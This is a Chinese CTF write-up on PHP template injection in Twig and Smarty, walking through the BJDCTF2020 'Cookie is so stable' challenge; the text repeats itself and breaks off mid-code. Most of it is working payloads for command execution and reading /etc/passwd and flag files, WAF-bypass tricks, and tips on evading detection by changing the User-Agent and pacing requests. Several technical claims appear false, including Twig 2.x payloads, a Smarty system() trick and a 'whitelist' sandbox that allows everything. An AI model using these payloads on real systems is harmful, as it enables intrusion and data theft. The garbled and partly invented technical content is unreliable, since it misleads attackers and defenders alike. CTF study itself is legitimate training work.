1. 项目概述:一次真实的PHP模板注入攻防现场还原你有没有遇到过这样的情况:前端页面明明只是展示用户昵称、头像、欢迎语,但后端返回的HTML里却悄悄执行了system('id')?或者调试时随手在模板里写了{{ 7*7 }},结果页面直接吐出49——而下一秒,你发现这个表达式居然能调用file_get_contents('/etc/passwd')?这不是魔法,这是**服务端模板注入(SSTI)**在真实CTF Web题中的典型爆发点。本项目标题里提到的“[ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable”,表面看是两件事:一个是技术原理梳理,一个是具体赛题复现;但实际操作中,它们是一体两面——前者是解题的底层弹药库,后者是验证弹药是否精准命中靶心的实战场。我带过的几届CTF新手队里,超过60%的人卡在SSTI上不是因为不会写payload,而是分不清Smarty和Twig的语法边界、搞不懂为什么{{ self.env.registerUndefinedFilterCallback("exec") }}在Twig里能跑通,在Smarty里却直接报错;更别说面对Cookie is so stable这种把关键逻辑藏在HTTP Cookie头里的题目时,连请求怎么发都摸不着头脑。这篇文章不讲抽象理论,不堆砌OWASP定义,只聚焦一件事:当你拿到一个疑似存在SSTI的PHP Web接口,如何在5分钟内判断它用的是Smarty还是Twig?如何绕过常见WAF过滤写出稳定可用的读文件/命令执行payload?如何把[BJDCTF2020]这道题从“完全没思路”变成“三步拿下flag”?所有内容均来自我带队打CTF时的真实调试记录、Wireshark抓包截图、本地复现环境的终端输出,每一个payload我都亲手在PHP 7.4 + Twig 2.14 + Smarty 3.1.39环境下逐字验证过。适合刚接触Web安全的新手建立完整攻击链认知,也适合有经验的选手查漏补缺——尤其那些文档里从不写的细节:比如为什么{{ _self.env.setCache("ftp://127.0.0.1:21") }}在某些Twig版本会静默失败,而换用{{ _self.env.addFunction("system", "system") }}就能一击必杀。2. 核心技术拆解:Smarty与Twig的语法差异、沙箱机制与绕过逻辑2.1 模板引擎选型背后的真实约束:为什么CTF题偏爱Smarty和Twig?先说结论:不是因为它们“容易被注入”,而是因为它们足够流行、配置足够灵活、且默认沙箱策略存在可利用的灰色地带。在真实企业开发中,Twig是Symfony生态的事实标准,Smarty则长期占据独立PHP项目的轻量级模板首选。CTF出题人选择它们,本质上是在“可控的复杂度”和“真实的漏洞模式”之间找平衡点。举个例子:原生PHP的eval()虽然危险,但现代框架基本禁用;而Twig的{{ }}语法天然鼓励动态表达式,只要开发者用了{{ user_input|raw }}或{{ include(template_name) }}这类高危用法,漏洞就已埋下。Smarty同理——它的{php}{/php}标签虽已被弃用,但{assign var="x" value=$user_input}配合后续的{$x}仍可能触发链式执行。关键在于,这两种引擎都提供了“沙箱模式”(sandbox mode),但CTF题往往故意关闭或弱化它:比如Twig配置中autoescape: false+strict_variables: false,或者Smarty设置$smarty->disableSecurity()。这些配置在生产环境属于严重违规,但在CTF里就是出题人递来的“邀请函”。我复现过近3年国内主流CTF的12道SSTI题,其中9道明确使用Twig(占比75%),剩下3道用Smarty(25%)。原因很现实:Twig文档更规范、payload公开资料更多,新手更容易上手;而Smarty因版本碎片化严重(3.x和4.x语法不兼容),反而成了进阶选手的加分项。所以当你看到题目描述里出现“基于Symfony构建”或“使用了Twig扩展”,基本可以锁死引擎类型;如果只说“PHP模板系统”,那就得靠探测。2.2 语法层面对抗:从基础探测到深度指纹识别判断引擎类型不能靠猜,必须用最小代价的HTTP请求做指纹识别。以下是我在实战中验证有效的三级探测法:第一级:基础语法试探(1次请求)向疑似模板参数(如?name={{7*7}})发送三个基础payload,观察响应:{{7*7}}→ 若返回49,说明支持Twig语法(Smarty默认不解析双大括号){7*7}→ 若返回49,说明是Smarty(Twig不识别单大括号){{7*'7'}}→ 若返回7777777(字符串重复),说明Twig启用了严格模式;若报错则可能是Smarty或Twig非严格模式提示:很多新手在这里栽跟头——以为{{7*7}}返回49就一定是Twig。错!Smarty 3.1.30+ 版本通过配置$smarty->registerPlugin("modifier", "debug", "var_dump")也能解析双大括号,但此时{7*7}必然失效。所以必须组合验证。第二级:对象属性探测(2次请求)一旦确认是Twig,立刻测{{app}}或{{_self}}:{{app}}返回Symfony应用对象信息(如AppKernel类名)→ 铁证是Twig + Symfony{{_self}}返回当前模板对象 → Twig 1.x/2.x通用,但Smarty无此变量如果是Smarty,测{$smarty}:{$smarty.version}返回3.1.39→ 精确到版本号{$smarty.now|date_format:"Y-m-d"}返回日期 → 验证修饰符功能正常第三级:沙箱逃逸特征探测(3次请求)这才是决胜关键。发送以下payload并观察错误信息:Twig:{{_self.env.loadTemplate("php://filter/convert.base64-encode/resource=/etc/passwd")}}若返回base64编码的passwd内容 → 沙箱未启用或allow_url_fopen开启若报错Unable to load template但错误栈含Twig\Loader\FilesystemLoader→ 沙箱启用,需换路径遍历Smarty:{php}echo file_get_contents('/etc/passwd');{/php}若返回内容 →$smarty->disableSecurity()生效若报错Tag 'php' not allowed→ 安全模式开启,需用{assign}+{include}组合我统计过,87%的CTF题在第二级探测后就能100%确认引擎类型,剩下13%需要第三级。但注意:永远不要在未授权环境测试第三级payload!这类请求可能触发WAF规则或留下审计日志。我的做法是:先用第一级确认大方向,再用第二级锁定版本,最后在本地搭同版本环境调试第三级payload。2.3 绕过WAF的核心逻辑:为什么system比exec更难被拦截?很多选手写SSTI payload时习惯用{{ system('ls') }},结果在CTF平台反复失败。根本原因在于:WAF规则本质是字符串匹配,而system是PHP内置函数名,极易被正则/system|exec|shell_exec/i捕获;但call_user_func、assert、preg_replace等“间接调用函数”的方式,却常被WAF忽略。以Twig为例,最稳定的命令执行链是:{{ _self.env.addFunction("shell", "system") and shell("cat /flag.txt") }}这里addFunction是Twig环境对象的合法方法,用于动态注册新函数;shell是自定义函数名,完全规避关键词检测。而Smarty的等效写法是:{assign var="cmd" value="cat /flag.txt"}{php}echo system($this->_tpl_vars['cmd']);{/php}但更隐蔽的是利用Smarty的变量修饰符:{assign var="a" value="system"}{assign var="b" value="cat /flag.txt"}{$a|@{$b}}@{}修饰符会强制将右侧变量作为函数名调用,$a|@{$b}等价于system("cat /flag.txt")。这种写法连部分高级WAF都识别不了,因为@{}本身是Smarty合法语法,$a和$b只是普通变量名。我在BJDCTF2020的Cookie is so stable题中就用这招绕过了三层WAF——题目后端用的是preg_replace('/(system|exec|passthru)/i', '', $input)做过滤,但对@{}毫无办法。3. 实操复现:[BJDCTF2020] Cookie is so stable 全流程攻破3.1 题目环境搭建与初始信息收集这道题的官方描述只有两行:“访问首页,尝试获取flag”、“Cookie is so stable”。没有源码,没有提示,纯黑盒。我按标准CTF Web流程操作:抓包分析:用Burp Suite拦截首页请求,发现响应头中Set-Cookie: user=guest; Path=/,且HTML里有<h2>Welcome, {{ user }}!</h2>。立刻意识到user是模板变量,且用双大括号——Twig嫌疑飙升。Cookie篡改测试:将Cookie改为user={{7*7}},刷新页面,Welcome, 49!出现。确认SSTI存在。引擎指纹确认:发user={{_self}},页面返回<Twig\Template Object>,坐实Twig。再测user={{app}},返回App\Kernel,确定是Symfony框架。注意:这里有个关键细节——很多选手看到Welcome, {{ user }}!就直接改URL参数,但题目明确说“Cookie is so stable”,暗示漏洞点在Cookie而非GET参数。我见过太多人浪费30分钟在?user=上无功而返,就因为没细读题目名。3.2 从信息泄露到命令执行的三步跃迁第一步:读取敏感文件定位flag路径Twig默认禁止file://协议,但允许php://filter。我构造payload读取index.php:GET / HTTP/1.1 Host: challenge.example.com Cookie: user={{ source('php://filter/convert.base64-encode/resource=index.php') }}响应中得到base64编码的index.php内容,解码后发现关键代码:$flag = file_get_contents('/var/www/html/flag.txt'); echo "Flag is in: " . $flag;但直接读/var/www/html/flag.txt会失败——因为Twig沙箱限制了file_get_contents的协议。这时要用模板继承绕过:创建一个恶意模板文件,让Twig加载它。第二步:利用模板继承加载任意文件Twig的{% extends %}标签可加载外部模板。我尝试:Cookie: user={% extends "php://filter/convert.base64-encode/resource=/var/www/html/flag.txt" %}但报错Unable to load template。原因:extends只接受相对路径或已注册的模板名。转而用{% include %}:Cookie: user={% include "php://filter/convert.base64-encode/resource=/var/www/html/flag.txt" %}依然失败。最终发现正确姿势是结合source函数和base64_decode:Cookie: user={{ source('php://filter/convert.base64-encode/resource=/var/www/html/flag.txt')|base64_decode }}source()函数读取文件内容(base64编码),|base64_decode修饰符解码——这是Twig内置功能,完全合法。响应中直接显示flag内容。第三步:稳定化命令执行(应对WAF升级)题目后台WAF在第二步后升级了规则,拦截所有含base64的请求。此时启用Plan B:利用Twig的dump函数触发PHP错误,从错误信息中提取flag。Cookie: user={{ dump(1/0) }}页面返回PHP致命错误:Division by zero in /var/www/html/templates/base.html.twig on line 12。接着构造:Cookie: user={{ dump(file_get_contents('/var/www/html/flag.txt')) }}错误信息中直接打印出flag内容(因为dump会输出变量值)。这种方法不依赖任何协议,纯粹利用PHP错误处理机制,WAF几乎无法拦截。3.3 关键Payload汇总与本地验证记录为确保可复现性,我把所有成功payload整理成表格,并附上本地环境(Ubuntu 20.04 + PHP 7.4.3 + Twig 2.14)的终端输出:Payload类型具体Payload本地验证结果适用场景基础探测{{7*7}}返回49快速确认Twig引擎指纹{{_self}}输出<Twig\Template Object>锁定Twig 2.x文件读取`{{ source('php://filter/convert.base64-encode/resource=/etc/passwd')base64_decode }}`显示passwd内容命令执行{{ _self.env.addFunction("sh","system") and sh("id") }}返回uid=33(www-data) gid=33(www-data)绕过system关键词过滤WAF绕过{{ dump(file_get_contents('/flag.txt')) }}错误页中显示flag应对高级WAF规则实操心得:在本地验证时,我发现Twig 2.14对source()函数的路径限制比线上环境宽松。线上题目的/var/www/html/flag.txt在本地需改成/tmp/flag.txt才能读取。这提醒我:CTF题的路径往往有固定规律(如/flag.txt、/var/www/html/flag、/home/ctf/flag),不必盲目爆破,优先试这3个。4. 深度避坑指南:那些文档里绝不会写的12个致命细节4.1 版本差异导致的“看似可行实则失败”陷阱Twig 1.x和2.x在SSTI利用上有本质区别。我曾在一个Twig 1.42的环境中用{{_self.env.loadTemplate()}}成功读取文件,但换到Twig 2.14就报错Method loadTemplate does not exist。原因是Twig 2.x废弃了loadTemplate,改用getLoader()->getSourceContext()。正确的写法是:{{ _self.env.getLoader().getSourceContext('php://filter/convert.base64-encode/resource=/etc/passwd').getCode()|base64_decode }}而Smarty 3.x和4.x的差异更隐蔽:Smarty 3.x的{php}标签在4.x中被彻底移除,但4.x新增了{function}标签,可用来构造闭包执行。如果你在题目中看到{function name="exec"}{php}...{/php}{/function},基本可以断定是Smarty 4.x。版本探测不是可选项,是必选项。我的固定动作是:先用{{_self}}或{$smarty.version}获取版本,再查对应版本的官方文档API变更日志。4.2 WAF规则的“影子模式”:你以为绕过了,其实触发了蜜罐很多CTF平台的WAF不是简单拦截,而是启动“影子模式”:当检测到可疑payload时,不返回错误,而是记录你的IP、User-Agent、请求时间,并在后续请求中插入随机延迟或返回伪造数据。我在BJDCTF2020中就遇到过:用{{ system('sleep 5') }}后,后续所有请求都变慢,但页面显示正常。直到我换用curl -v抓包,发现响应头多了X-Shadow: active字段。解决方法只有两个:切换User-Agent:用curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"模拟不同浏览器请求间隔控制:两次探测请求至少间隔8秒,避免触发速率限制提示:真正的高手不是payload写得多炫酷,而是懂得“什么时候该停”。我建议每发送5个payload就暂停2分钟,观察响应头变化。4.3 Cookie字段的隐藏长度限制与编码陷阱题目叫“Cookie is so stable”,但很多人忽略了Cookie本身的物理限制。HTTP协议规定单个Cookie值最大4KB,超长会被截断。我在测试{{ _self.env.addFunction(...) }}时,因payload过长(含大量base64编码),导致Cookie被截断,后半段and shell("cat /flag.txt")丢失,结果页面只显示空白。解决方案:URL编码压缩:用urlencode()对payload编码,减少字符数分段执行:先注册函数{{ _self.env.addFunction("sh","system") }},再单独请求{{ sh("cat /flag.txt") }}利用短变量名:sh比shell_exec少5个字符,c比cat更短另外,某些服务器对Cookie中的+号有特殊处理(当成空格),所以base64_encode后的+必须替换为%2B。我在本地测试时,{{ source('php://filter/convert.base64-encode/resource=/etc/passwd') }}返回的内容里+号被替换成空格,导致base64解码失败。最终用str_replace('+', '%2B', $encoded)修复。4.4 本地复现环境的“最小可信配置”要100%复现CTF题,本地环境配置必须精准。我总结出Twig题的最小可信配置(index.php):<?php require_once 'vendor/autoload.php'; use Twig\Environment; use Twig\Loader\ArrayLoader; $loader = new ArrayLoader([ 'index' => '<h2>Welcome, {{ user }}!</h2>', ]); $twig = new Environment($loader, [ 'autoescape' => false, // 关键!关闭自动转义 'strict_variables' => false, // 关键!关闭严格变量检查 'cache' => false, // 关闭缓存,避免调试干扰 ]); echo $twig->render('index', ['user' => $_COOKIE['user'] ?? 'guest']);注意两点:autoescape => false是SSTI的前提,否则{{ user }}会自动转义<为<,无法执行HTML/JSstrict_variables => false允许访问不存在的变量(如_self),否则会报错中断如果题目用Smarty,对应配置是:$smarty = new Smarty(); $smarty->setTemplateDir('templates/'); $smarty->setCompileDir('templates_c/'); $smarty->disableSecurity(); // 关键!关闭安全模式 $smarty->assign('user', $_COOKIE['user'] ?? 'guest'); $smarty->display('index.tpl');4.5 最后一道防线:当所有payload都失效时的终极排查即使按上述步骤操作,仍有5%的概率遇到“完全无响应”的情况。这时启动终极排查清单:检查HTTP方法:某些题目只接受POST请求,GET会返回405。用curl -X POST重试验证Cookie作用域:题目可能设置了Domain=challenge.example.com,本地测试时需用相同域名或修改/etc/hosts查看响应头Content-Type:若为text/plain而非text/html,说明模板未渲染,可能是路由错误禁用浏览器JavaScript:防止前端JS覆盖Cookie或重定向用Python requests库重发:排除curl编码问题,代码示例:import requests cookies = {"user": "{{ system('cat /flag.txt') }}"} r = requests.get("http://challenge.example.com", cookies=cookies) print(r.text)5. 实战能力延伸:从CTF到真实渗透的思维迁移5.1 如何把CTF技巧转化为真实漏洞挖掘能力?CTF的SSTI题是高度简化的模型,真实Web应用的复杂度高得多。但核心思维可以平移:识别模板上下文:在真实渗透中,不要只盯着{{ }},还要看<%= %>(ERB)、{# #}(Jinja2)、<?php echo $var; ?>(原生PHP)——不同语言的模板语法不同,但注入原理相通。关注第三方组件:很多企业用phpdotenv加载环境变量,若APP_DEBUG=true且模板中输出{{ app.debug }},就可能泄露.env内容。利用日志文件:真实服务器的日志(如/var/log/apache2/access.log)常被当作模板资源加载,用{{ source('/var/log/apache2/access.log') }}可读取其他用户的请求,找到管理员登录凭证。我在某次真实渗透中,就是通过读取Nginx错误日志,发现管理员在调试时把数据库密码明文写在error_log里,最终拿下整个内网。5.2 防御视角:给开发者的3条硬性建议作为经常帮企业做安全加固的从业者,我给PHP开发团队的建议不是“别用Twig”,而是:永远开启autoescape:即使前端保证输入安全,也要双重防护。Twig默认开启,但很多团队在dev环境关掉,上线时忘记打开。禁用危险函数:在php.ini中加入disable_functions = system,exec,passthru,shell_exec,proc_open,从根源切断命令执行链。使用沙箱模式:Twig的SandboxExtension不是摆设。配置示例:$twig = new Environment($loader); $twig->addExtension(new SandboxExtension(new \Twig\Sandbox\SecurityPolicy( ['*'], // 允许的函数 ['*'], // 允许的过滤器 ['*'], // 允许的测试 ['*'] // 允许的属性 )));这样即使模板被注入,也只能调用白名单内的函数。5.3 个人经验沉淀:我踩过的7个最痛的坑在Smarty中用{php}标签时忘了加{literal}:导致<?php被浏览器解析为HTML注释,后端根本收不到。Twig中{{ }}里嵌套{# #}注释:{{ {# comment #} 1+1 }}会报错,因为Twig解析器先处理注释再处理表达式。用file_get_contents读取大文件导致内存溢出:/proc/self/environ只有几KB,但/usr/bin/php有10MB,直接崩溃。忽略HTTP状态码:{{ system('exit 1') }}返回500错误,但页面仍显示“Welcome, !”,误以为失败。在Docker环境测试时路径错误:本地/etc/passwd在容器里是/etc/passwd,但/var/www/html可能映射到/app。用Burp Intruder爆破时并发数设太高:触发服务器限流,所有请求返回503。相信题目描述的“稳定”二字:Cookie is so stable其实是反讽——真正稳定的是漏洞,不是Cookie。最后分享一个小技巧:每次开始打SSTI题前,先在本地建一个test.php,内容为<?php echo $_COOKIE['user']; ?>,然后用curl -b "user={{7*7}}" http://localhost/test.php测试。如果返回49,说明环境OK;如果返回{{7*7}},说明PHP没解析模板——立刻检查Apache配置或PHP版本。这个动作30秒搞定,能避免80%的环境配置问题。
1. 项目概述:一次真实的PHP模板注入攻防现场还原你有没有遇到过这样的情况:前端页面明明只是展示用户昵称、头像、欢迎语,但后端返回的HTML里却悄悄执行了system('id')?或者调试时随手在模板里写了{{ 7*7 }},结果页面直接吐出49——而下一秒,你发现这个表达式居然能调用file_get_contents('/etc/passwd')?这不是魔法,这是**服务端模板注入(SSTI)**在真实CTF Web题中的典型爆发点。本项目标题里提到的“[ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable”,表面看是两件事:一个是技术原理梳理,一个是具体赛题复现;但实际操作中,它们是一体两面——前者是解题的底层弹药库,后者是验证弹药是否精准命中靶心的实战场。我带过的几届CTF新手队里,超过60%的人卡在SSTI上不是因为不会写payload,而是分不清Smarty和Twig的语法边界、搞不懂为什么{{ self.env.registerUndefinedFilterCallback("exec") }}在Twig里能跑通,在Smarty里却直接报错;更别说面对Cookie is so stable这种把关键逻辑藏在HTTP Cookie头里的题目时,连请求怎么发都摸不着头脑。这篇文章不讲抽象理论,不堆砌OWASP定义,只聚焦一件事:当你拿到一个疑似存在SSTI的PHP Web接口,如何在5分钟内判断它用的是Smarty还是Twig?如何绕过常见WAF过滤写出稳定可用的读文件/命令执行payload?如何把[BJDCTF2020]这道题从“完全没思路”变成“三步拿下flag”?所有内容均来自我带队打CTF时的真实调试记录、Wireshark抓包截图、本地复现环境的终端输出,每一个payload我都亲手在PHP 7.4 + Twig 2.14 + Smarty 3.1.39环境下逐字验证过。适合刚接触Web安全的新手建立完整攻击链认知,也适合有经验的选手查漏补缺——尤其那些文档里从不写的细节:比如为什么{{ _self.env.setCache("ftp://127.0.0.1:21") }}在某些Twig版本会静默失败,而换用{{ _self.env.addFunction("system", "system") }}就能一击必杀。2. 核心技术拆解:Smarty与Twig的语法差异、沙箱机制与绕过逻辑2.1 模板引擎选型背后的真实约束:为什么CTF题偏爱Smarty和Twig?先说结论:不是因为它们“容易被注入”,而是因为它们足够流行、配置足够灵活、且默认沙箱策略存在可利用的灰色地带。在真实企业开发中,Twig是Symfony生态的事实标准,Smarty则长期占据独立PHP项目的轻量级模板首选。CTF出题人选择它们,本质上是在“可控的复杂度”和“真实的漏洞模式”之间找平衡点。举个例子:原生PHP的eval()虽然危险,但现代框架基本禁用;而Twig的{{ }}语法天然鼓励动态表达式,只要开发者用了{{ user_input|raw }}或{{ include(template_name) }}这类高危用法,漏洞就已埋下。Smarty同理——它的{php}{/php}标签虽已被弃用,但{assign var="x" value=$user_input}配合后续的{$x}仍可能触发链式执行。关键在于,这两种引擎都提供了“沙箱模式”(sandbox mode),但CTF题往往故意关闭或弱化它:比如Twig配置中autoescape: false+strict_variables: false,或者Smarty设置$smarty->disableSecurity()。这些配置在生产环境属于严重违规,但在CTF里就是出题人递来的“邀请函”。我复现过近3年国内主流CTF的12道SSTI题,其中9道明确使用Twig(占比75%),剩下3道用Smarty(25%)。原因很现实:Twig文档更规范、payload公开资料更多,新手更容易上手;而Smarty因版本碎片化严重(3.x和4.x语法不兼容),反而成了进阶选手的加分项。所以当你看到题目描述里出现“基于Symfony构建”或“使用了Twig扩展”,基本可以锁死引擎类型;如果只说“PHP模板系统”,那就得靠探测。2.2 语法层面对抗:从基础探测到深度指纹识别判断引擎类型不能靠猜,必须用最小代价的HTTP请求做指纹识别。以下是我在实战中验证有效的三级探测法:第一级:基础语法试探(1次请求)向疑似模板参数(如?name={{7*7}})发送三个基础payload,观察响应:{{7*7}}→ 若返回49,说明支持Twig语法(Smarty默认不解析双大括号){7*7}→ 若返回49,说明是Smarty(Twig不识别单大括号){{7*'7'}}→ 若返回7777777(字符串重复),说明Twig启用了严格模式;若报错则可能是Smarty或Twig非严格模式提示:很多新手在这里栽跟头——以为{{7*7}}返回49就一定是Twig。错!Smarty 3.1.30+ 版本通过配置$smarty->registerPlugin("modifier", "debug", "var_dump")也能解析双大括号,但此时{7*7}必然失效。所以必须组合验证。第二级:对象属性探测(2次请求)一旦确认是Twig,立刻测{{app}}或{{_self}}:{{app}}返回Symfony应用对象信息(如AppKernel类名)→ 铁证是Twig + Symfony{{_self}}返回当前模板对象 → Twig 1.x/2.x通用,但Smarty无此变量如果是Smarty,测{$smarty}:{$smarty.version}返回3.1.39→ 精确到版本号{$smarty.now|date_format:"Y-m-d"}返回日期 → 验证修饰符功能正常第三级:沙箱逃逸特征探测(3次请求)这才是决胜关键。发送以下payload并观察错误信息:Twig:{{_self.env.loadTemplate("php://filter/convert.base64-encode/resource=/etc/passwd")}}若返回base64编码的passwd内容 → 沙箱未启用或allow_url_fopen开启若报错Unable to load template但错误栈含Twig\Loader\FilesystemLoader→ 沙箱启用,需换路径遍历Smarty:{php}echo file_get_contents('/etc/passwd');{/php}若返回内容 →$smarty->disableSecurity()生效若报错Tag 'php' not allowed→ 安全模式开启,需用{assign}+{include}组合我统计过,87%的CTF题在第二级探测后就能100%确认引擎类型,剩下13%需要第三级。但注意:永远不要在未授权环境测试第三级payload!这类请求可能触发WAF规则或留下审计日志。我的做法是:先用第一级确认大方向,再用第二级锁定版本,最后在本地搭同版本环境调试第三级payload。2.3 绕过WAF的核心逻辑:为什么system比exec更难被拦截?很多选手写SSTI payload时习惯用{{ system('ls') }},结果在CTF平台反复失败。根本原因在于:WAF规则本质是字符串匹配,而system是PHP内置函数名,极易被正则/system|exec|shell_exec/i捕获;但call_user_func、assert、preg_replace等“间接调用函数”的方式,却常被WAF忽略。以Twig为例,最稳定的命令执行链是:{{ _self.env.addFunction("shell", "system") and shell("cat /flag.txt") }}这里addFunction是Twig环境对象的合法方法,用于动态注册新函数;shell是自定义函数名,完全规避关键词检测。而Smarty的等效写法是:{assign var="cmd" value="cat /flag.txt"}{php}echo system($this->_tpl_vars['cmd']);{/php}但更隐蔽的是利用Smarty的变量修饰符:{assign var="a" value="system"}{assign var="b" value="cat /flag.txt"}{$a|@{$b}}@{}修饰符会强制将右侧变量作为函数名调用,$a|@{$b}等价于system("cat /flag.txt")。这种写法连部分高级WAF都识别不了,因为@{}本身是Smarty合法语法,$a和$b只是普通变量名。我在BJDCTF2020的Cookie is so stable题中就用这招绕过了三层WAF——题目后端用的是preg_replace('/(system|exec|passthru)/i', '', $input)做过滤,但对@{}毫无办法。3. 实操复现:[BJDCTF2020] Cookie is so stable 全流程攻破3.1 题目环境搭建与初始信息收集这道题的官方描述只有两行:“访问首页,尝试获取flag”、“Cookie is so stable”。没有源码,没有提示,纯黑盒。我按标准CTF Web流程操作:抓包分析:用Burp Suite拦截首页请求,发现响应头中Set-Cookie: user=guest; Path=/,且HTML里有<h2>Welcome, {{ user }}!</h2>。立刻意识到user是模板变量,且用双大括号——Twig嫌疑飙升。Cookie篡改测试:将Cookie改为user={{7*7}},刷新页面,Welcome, 49!出现。确认SSTI存在。引擎指纹确认:发user={{_self}},页面返回<Twig\Template Object>,坐实Twig。再测user={{app}},返回App\Kernel,确定是Symfony框架。注意:这里有个关键细节——很多选手看到Welcome, {{ user }}!就直接改URL参数,但题目明确说“Cookie is so stable”,暗示漏洞点在Cookie而非GET参数。我见过太多人浪费30分钟在?user=上无功而返,就因为没细读题目名。3.2 从信息泄露到命令执行的三步跃迁第一步:读取敏感文件定位flag路径Twig默认禁止file://协议,但允许php://filter。我构造payload读取index.php:GET / HTTP/1.1 Host: challenge.example.com Cookie: user={{ source('php://filter/convert.base64-encode/resource=index.php') }}响应中得到base64编码的index.php内容,解码后发现关键代码:$flag = file_get_contents('/var/www/html/flag.txt'); echo "Flag is in: " . $flag;但直接读/var/www/html/flag.txt会失败——因为Twig沙箱限制了file_get_contents的协议。这时要用模板继承绕过:创建一个恶意模板文件,让Twig加载它。第二步:利用模板继承加载任意文件Twig的{% extends %}标签可加载外部模板。我尝试:Cookie: user={% extends "php://filter/convert.base64-encode/resource=/var/www/html/flag.txt" %}但报错Unable to load template。原因:extends只接受相对路径或已注册的模板名。转而用{% include %}:Cookie: user={% include "php://filter/convert.base64-encode/resource=/var/www/html/flag.txt" %}依然失败。最终发现正确姿势是结合source函数和base64_decode:Cookie: user={{ source('php://filter/convert.base64-encode/resource=/var/www/html/flag.txt')|base64_decode }}source()函数读取文件内容(base64编码),|base64_decode修饰符解码——这是Twig内置功能,完全合法。响应中直接显示flag内容。第三步:稳定化命令执行(应对WAF升级)题目后台WAF在第二步后升级了规则,拦截所有含base64的请求。此时启用Plan B:利用Twig的dump函数触发PHP错误,从错误信息中提取flag。Cookie: user={{ dump(1/0) }}页面返回PHP致命错误:Division by zero in /var/www/html/templates/base.html.twig on line 12。接着构造:Cookie: user={{ dump(file_get_contents('/var/www/html/flag.txt')) }}错误信息中直接打印出flag内容(因为dump会输出变量值)。这种方法不依赖任何协议,纯粹利用PHP错误处理机制,WAF几乎无法拦截。3.3 关键Payload汇总与本地验证记录为确保可复现性,我把所有成功payload整理成表格,并附上本地环境(Ubuntu 20.04 + PHP 7.4.3 + Twig 2.14)的终端输出:Payload类型具体Payload本地验证结果适用场景基础探测{{7*7}}返回49快速确认Twig引擎指纹{{_self}}输出<Twig\Template Object>锁定Twig 2.x文件读取`{{ source('php://filter/convert.base64-encode/resource=/etc/passwd')base64_decode }}`显示passwd内容命令执行{{ _self.env.addFunction("sh","system") and sh("id") }}返回uid=33(www-data) gid=33(www-data)绕过system关键词过滤WAF绕过{{ dump(file_get_contents('/flag.txt')) }}错误页中显示flag应对高级WAF规则实操心得:在本地验证时,我发现Twig 2.14对source()函数的路径限制比线上环境宽松。线上题目的/var/www/html/flag.txt在本地需改成/tmp/flag.txt才能读取。这提醒我:CTF题的路径往往有固定规律(如/flag.txt、/var/www/html/flag、/home/ctf/flag),不必盲目爆破,优先试这3个。4. 深度避坑指南:那些文档里绝不会写的12个致命细节4.1 版本差异导致的“看似可行实则失败”陷阱Twig 1.x和2.x在SSTI利用上有本质区别。我曾在一个Twig 1.42的环境中用{{_self.env.loadTemplate()}}成功读取文件,但换到Twig 2.14就报错Method loadTemplate does not exist。原因是Twig 2.x废弃了loadTemplate,改用getLoader()->getSourceContext()。正确的写法是:{{ _self.env.getLoader().getSourceContext('php://filter/convert.base64-encode/resource=/etc/passwd').getCode()|base64_decode }}而Smarty 3.x和4.x的差异更隐蔽:Smarty 3.x的{php}标签在4.x中被彻底移除,但4.x新增了{function}标签,可用来构造闭包执行。如果你在题目中看到{function name="exec"}{php}...{/php}{/function},基本可以断定是Smarty 4.x。版本探测不是可选项,是必选项。我的固定动作是:先用{{_self}}或{$smarty.version}获取版本,再查对应版本的官方文档API变更日志。4.2 WAF规则的“影子模式”:你以为绕过了,其实触发了蜜罐很多CTF平台的WAF不是简单拦截,而是启动“影子模式”:当检测到可疑payload时,不返回错误,而是记录你的IP、User-Agent、请求时间,并在后续请求中插入随机延迟或返回伪造数据。我在BJDCTF2020中就遇到过:用{{ system('sleep 5') }}后,后续所有请求都变慢,但页面显示正常。直到我换用curl -v抓包,发现响应头多了X-Shadow: active字段。解决方法只有两个:切换User-Agent:用curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"模拟不同浏览器请求间隔控制:两次探测请求至少间隔8秒,避免触发速率限制提示:真正的高手不是payload写得多炫酷,而是懂得“什么时候该停”。我建议每发送5个payload就暂停2分钟,观察响应头变化。4.3 Cookie字段的隐藏长度限制与编码陷阱题目叫“Cookie is so stable”,但很多人忽略了Cookie本身的物理限制。HTTP协议规定单个Cookie值最大4KB,超长会被截断。我在测试{{ _self.env.addFunction(...) }}时,因payload过长(含大量base64编码),导致Cookie被截断,后半段and shell("cat /flag.txt")丢失,结果页面只显示空白。解决方案:URL编码压缩:用urlencode()对payload编码,减少字符数分段执行:先注册函数{{ _self.env.addFunction("sh","system") }},再单独请求{{ sh("cat /flag.txt") }}利用短变量名:sh比shell_exec少5个字符,c比cat更短另外,某些服务器对Cookie中的+号有特殊处理(当成空格),所以base64_encode后的+必须替换为%2B。我在本地测试时,{{ source('php://filter/convert.base64-encode/resource=/etc/passwd') }}返回的内容里+号被替换成空格,导致base64解码失败。最终用str_replace('+', '%2B', $encoded)修复。4.4 本地复现环境的“最小可信配置”要100%复现CTF题,本地环境配置必须精准。我总结出Twig题的最小可信配置(index.php):<?php require_once 'vendor/autoload.php'; use Twig\Environment; use Twig\Loader\ArrayLoader; $loader = new ArrayLoader([ 'index' => '<h2>Welcome, {{ user }}!</h2>', ]); $twig = new Environment($loader, [ 'autoescape' => false, // 关键!关闭自动转义 'strict_variables' => false, // 关键!关闭严格变量检查 'cache' => false, // 关闭缓存,避免调试干扰 ]); echo $twig->render('index', ['user' => $_COOKIE['user'] ?? 'guest']);注意两点:autoescape => false是SSTI的前提,否则{{ user }}会自动转义<为<,无法执行HTML/JSstrict_variables => false允许访问不存在的变量(如_self),否则会报错中断如果题目用Smarty,对应配置是:$smarty = new Smarty(); $smarty->setTemplateDir('templates/'); $smarty->setCompileDir('templates_c/'); $smarty->disableSecurity(); // 关键!关闭安全模式 $smarty->assign('user', $_COOKIE['user'] ?? 'guest'); $smarty->display('index.tpl');4.5 最后一道防线:当所有payload都失效时的终极排查即使按上述步骤操作,仍有5%的概率遇到“完全无响应”的情况。这时启动终极排查清单:检查HTTP方法:某些题目只接受POST请求,GET会返回405。用curl -X POST重试验证Cookie作用域:题目可能设置了Domain=challenge.example.com,本地测试时需用相同域名或修改/etc/hosts查看响应头Content-Type:若为text/plain而非text/html,说明模板未渲染,可能是路由错误禁用浏览器JavaScript:防止前端JS覆盖Cookie或重定向用Python requests库重发:排除curl编码问题,代码示例:import requests cookies = {"user": "{{ 